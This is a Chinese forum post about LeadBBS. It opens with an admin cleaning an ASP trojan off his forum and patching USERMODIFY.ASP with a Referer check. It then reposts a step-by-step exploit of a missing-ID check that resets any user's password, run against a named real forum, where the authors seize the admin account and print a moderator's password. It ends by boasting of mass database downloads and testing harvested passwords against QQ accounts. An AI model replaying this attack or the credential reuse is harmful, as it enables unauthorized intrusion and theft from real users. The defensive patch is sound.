下午三點鐘下的網,等五點半在上網時,突然間發現自已網站論壇被換成了海洋頂端ASP木馬的頁面了,百思不得其解.對方是怎么做的呢.在這之前我已不止一次查看了此論壇的代碼,至少我認為比動網的要安全多了.我在后臺管理界面中早已禁止了上傳圖片,FLASH,搜索.郁悶.敢快打開FTP,現在最要緊的是如果恢復論壇,將哪個討厭的ASP木馬去掉.我先覆蓋了首頁面以為這樣此木馬頁面就會消失,可是沒有,接著我又覆蓋了多個ASP文件,但依然不行.看來思路錯了.此木馬一定是找到根上去了,而每一個ASP文件都會調用到這個根.仔細一看原來在INC目錄下的BBSSETUP文件由原來的4K變成25K了.肯定是他了.敢快替換掉.一瞬間清靜了.論壇又回來了.但是我們到目前為止都不知對方是如何將此ASP上傳上來的,所以論壇依舊有潛在危險.
一步一步分析
從只有論壇被放入ASP木馬而空間中包括網站在內其它程式沒有被放入ASP木馬來看,對方只在論壇中取得了權限.范圍縮小到論壇
從可以被放入ASP木馬來看,對方應該是上傳了此程式.而網站中我早就限定了上傳圖片,FLASH功能.將目標索定在簽名和個人資料修改上
從我用管理員密碼登陸不上去可以看出,對方已修改了我的管理密碼,哪么說來數據庫對方可能已拿到手,或者是猜測到了數據庫路徑.因為這是默認的
從管理界面中的信息被改可以看出對方應該找到了管理路徑.因為這是默認的
從網站論壇數據沒被破壞并且對方將ASP木馬加了密碼可以看出.對方可能沒有壞的目的.這一點可以讓人放心
然后我們要做的就是一步步排除并在一次加固論壇
1.下載數據庫,看看密碼被改成什么樣了.然后登陸.并修改管理員密碼.
2.限定個人簽名,這在管理界面中可以做到
3.禁止修改個人資料.
4.修改數據庫原目錄和數據庫名字.盡量復雜,讓對方猜不到
5.修改后臺管理路徑.因為這樣以后就算讓對方用了管理員密碼卻不能直接用默認的管理進入.
6.讓我們仔細看看有關個人資料的ASP文件,此文件為USERMODIFY.ASP,突然間想到,曾經看過一篇文章,寫的是有關本地提交的漏洞,當時也是利用的此文件.哪我們就試一下.先注冊一個USER,然后查看一下自已的資料,用右鍵將資料對應的ASP保存為usermodify.htm.然后在本地打開.現在回到論壇上,找到管理員的用戶名和ID.哈哈.在本地打開的USERMODIFY.HTM中將你管理員的用戶名和ID替換掉你自已的.然后在將ACTION修改成你要提交的網址.怎么樣.保存運行一下.看到了吧,很簡單的就成為管理員了.真是危險呀.
記的以前哪個有關本地提交的漏洞給出的修補代碼是
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style='font:9pt Verdana'>"
response.write "你提交的路徑有誤,禁止從站點外部提交數據請不要亂該參數!"
response.write "</td></tr></table></center>"
response.end
end if
%>
要求從服務器判斷路徑提交,其他地址提交提交無無效,依此我們也來修補一下吧:
打開你的USERMODIFY.ASP
1.在你的DEF_BBS_HomeUrl = "../"之上在加一行Dim SuperEditID,server_v1,server_v2
2.去掉Dim SuperEditID
3.在Function saveFormData下面加上如下語句:
if instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0 then
response.write "<li><font color=red size=20>非法闖入!影子鷹安全網response.end
end if
OK,補好后就禁止了對方從本地進行提交獲取權限了.
一個低級不容易發現的漏洞,讓我們進入了浪客網絡安全聯盟BBS的后臺.
這是一篇最開始發現LEADBBS漏洞的文章!
這個漏洞大家都知道了。
這里貼出來讓大家再看看吧!
漏洞分析
序:
天氣不錯,非常涼爽,心情也特別的開心,在我們成功的對動網,bbsxp漏洞測試完后。我們又對leadbbs進行測試了.
首先下載了leadbbs的最新版本.解壓到 本機.發現了這個bbs寫得也不錯,特別是對于sql注射方面他們對所提交的參數
一般都做了非常嚴格的過濾,如果不認真的去分析,可能也不好找出漏洞的.
不過并不是每一個論壇都會采用sql注射的辦法,靈活的思維,清醒的頭腦也是成功的最重要組成部分.
開工:
第一步:發現漏洞:
當我在認真的找sql注射漏洞的同時,賣身給我說了,他個bbs和浪客的有點相同.看來浪客也是采用的這個bbs了。
呵呵,欲望也不錯啊,這個bbs的注射漏洞大體上沒有什么.算是還安全吧.(不過我只查找了半個小時的源碼,沒有什么發現)
這時,賣身又說,他可能存在一個可以修改其他人密碼的漏洞,一般的bbs,如果沒有想周全都想不到這個洞,也就是腳本編寫
人員不太注意了。他這一提醒。我馬上打開源代碼一看,真的是存在這個漏洞。
//*******************************************************************************
漏洞簡述
當自己注冊一個用戶的時候,修改自己的密碼,腳本沒有判斷舊密碼,直接把新改的密碼根據用戶的id
保存到用戶的資料中去的.并沒有對這個用戶進行判斷。試想一下,如果我們修改提交的id值,會出現什么樣的情況.
如果你的id為641,如果改成了500.那么你修改的資料就會把id號為500的這個用戶的資料修改了.
漏洞代碼:
function saveformdata
form_revmessageflag = request.form("form_revmessageflag")
if form_revmessageflag = "1" then
form_revmessageflag = 1
else
form_revmessageflag = 0
end if
form_userlimit = setbinarybit(form_userlimit,13,form_revmessageflag)
dim rs,temp
set rs = server.createobject("adodb.recordset")
rs.open "select top 1 * from leadbbs_user where id=" & form_id,con,1,3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
這條看到沒有,直接把for_id 提交到數據庫中,進行查找再進行修改.
gbl_dbnum = gbl_dbnum + 1
if rs.eof then
rs.close
set rs = nothing
gbl_chk_tempstr = gbl_chk_tempstr & "發生意外錯誤<br>" & vbcrlf
saveformdata = 0
exit function
end if
=======================================以下是修改數據庫中的值==============================
rs("mail") = form_mail
rs("address") = form_address
rs("sex") = form_sex
if form_icq = "" then
rs("icq") = null
else
rs("icq") = form_icq
end if
if form_oicq = "" then
rs("oicq") = null
else
rs("oicq") = form_oicq
end if
rs("userphoto") = form_userphoto
rs("homepage") = form_homepage
rs("underwrite") = form_underwrite
rs("printunderwrite") = form_printunderwrite
rs("pass") = form_password1
if len(form_birthday)=14 then
rs("birthday") = form_birthday
temp = ccur(left(form_birthday,4))
if temp > 1950 and temp < 2050 then rs("nonglibirth") = gettimevalue(converttonongli(restoretime(form_birthday)))
else
rs("birthday") = null
end if
if def_alldefineface = 1 then
rs("faceurl") = form_faceurl
rs("facewidth") = form_facewidth
rs("faceheight") = form_faceheight
end if
rs("showflag") = form_showflag
rs("notsecret") = form_notsecret
rs("lastwritetime") = gettimevalue(now)
rs("userlimit") = form_userlimit
if def_userenableusertitle = 1 and form_userlevel >= def_userusertitleneedlevel then rs("usertitle") = form_usertitle
================================================over====================================================
rs.update // 這就是提交修改.
rs.close
set rs = nothing
..............略去一部分無用代碼.......
end function%>
//*******************************************************************************
攻擊演示
第二步:測試漏洞
到浪客網站注冊一個賬號,再看看是不是和這個代碼所表現的相同。登陸進去后,修改自己的資料,發現并沒有要求我填寫自己
的舊密碼,哈哈。這時多半都成功了。現在我們在新注冊用戶列表中,查到自己的編號(也就是庫中的id號)為:8317
好了,現在我們把他的頁面另存為一個htm文件保存到自己的電腦中,看一下那個id號放在什么地方的。用記事本打開,html代碼如下:
<form action=usermodify.asp method=post name=form1 onsubmit="submitonce(this);return validationpassed">
上面提交的地方 我們也改成:action=http://www.longker.com/bbs/user/usermodify.asp
..................略掉一部分代碼.............
<tr>
<td align=middle height=25>
<p>*用戶名稱: </p></td>
<td height=25>
<p>ohyes </p></td></tr>
<tr>
<td align=middle height=25>
<p>*你的密碼: </p></td>
<td height=25>
<input class=fminpt name=submitflag type=hidden value=29d98sasphouseasp8asphnet>
<input class=fminpt name=form_id type=hidden value=8317>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
看到沒有上面就是保存了你的id值。不過他用了type=hidden所以在html中你看不到,是隱藏的我們改一下代碼
<input class=fminpt name=form_id value=8317> //去掉隱藏.這樣就可以在ie中顯示出來了.你就可以隨便輸入
一個id值來改這個人的資料了.
<input class=fminpt maxlength=20 name=form_password1 size=14
type=password value=comm> </td></tr>
<tr>
<td align=middle height=25>
<p>*驗證密碼: </p></td>
<td height=25><input class=fminpt maxlength=20
name=form_password2 size=14 type=password value=comm>
</td></tr>
<tr>
..................略掉其他的,都是輸入qq,email,地址之類的無用代碼不看了..................
編輯好后,取個名字叫:ok.htm 呵呵~!·
好了,我們現在測試一下看對不對?并不要急于去修改管理員的資料,先再注冊一個id再試試.
我又注冊了一個id,得到id為:8318,密碼為:inputyfd
打開我們的ok.htm輸入id號:8318,密碼改成:inputyfd1 試試看.
提交,ie顯示成功,并把8318的資料顯示了出來,看來都已經成功了。用8318這個id登陸再確定一下。
輸入密碼:inputyfd 提示密碼錯誤,哈哈,再輸入inputyfd1提示密碼成功.看來我們就真正的修改了這個這個人的資料。
第三步:更改管理員的密碼,進入后臺管理.(以下部分,由于本人斷線,所有工作由賣身完成!)
在管理員列表中,我發現了,欲望的id號為:980 ,admin的id值為1. 好。繼續。一樣打開ok.htm 把admin的id填上 。把密碼改為testtest。
ok.提交成功,呵呵,現在用admin的賬號登陸。進入管理。哈哈。。一切的一切都在眼前了。呵呵~!!
看看管理人員吧。結果發現欲望的密碼為wocaonimother。暈吧!
你還想做什么呢?下載數據庫,得到里面的敏感信息?呵呵,真的嗎???
結束語:
近來對各大bbs官方論壇,以及對一些黑客站點的論壇進行了安全測試,都或多或少的發現了一些漏洞。并利用這些漏洞
成功的得到了管理賬號.看來中國的網絡安全真的有待于進一步的發展,有待于我們腳本開發人員水平的提高!
////////////////////////////////////////////////////
這個洞讓我們下了很多個數據庫.
然后寫了程序得到數據庫中的QQ號碼!
和論壇的密碼。
其中社會工程學中提到過有10%的人用一個密碼做很多個賬號的密碼。
結果出來了。
只要寫了QQ號碼的賬號。
100個QQ號。有12左右論壇密碼就是他的QQ密碼。
大多都是生日,電話號碼,要不就是特別的字符!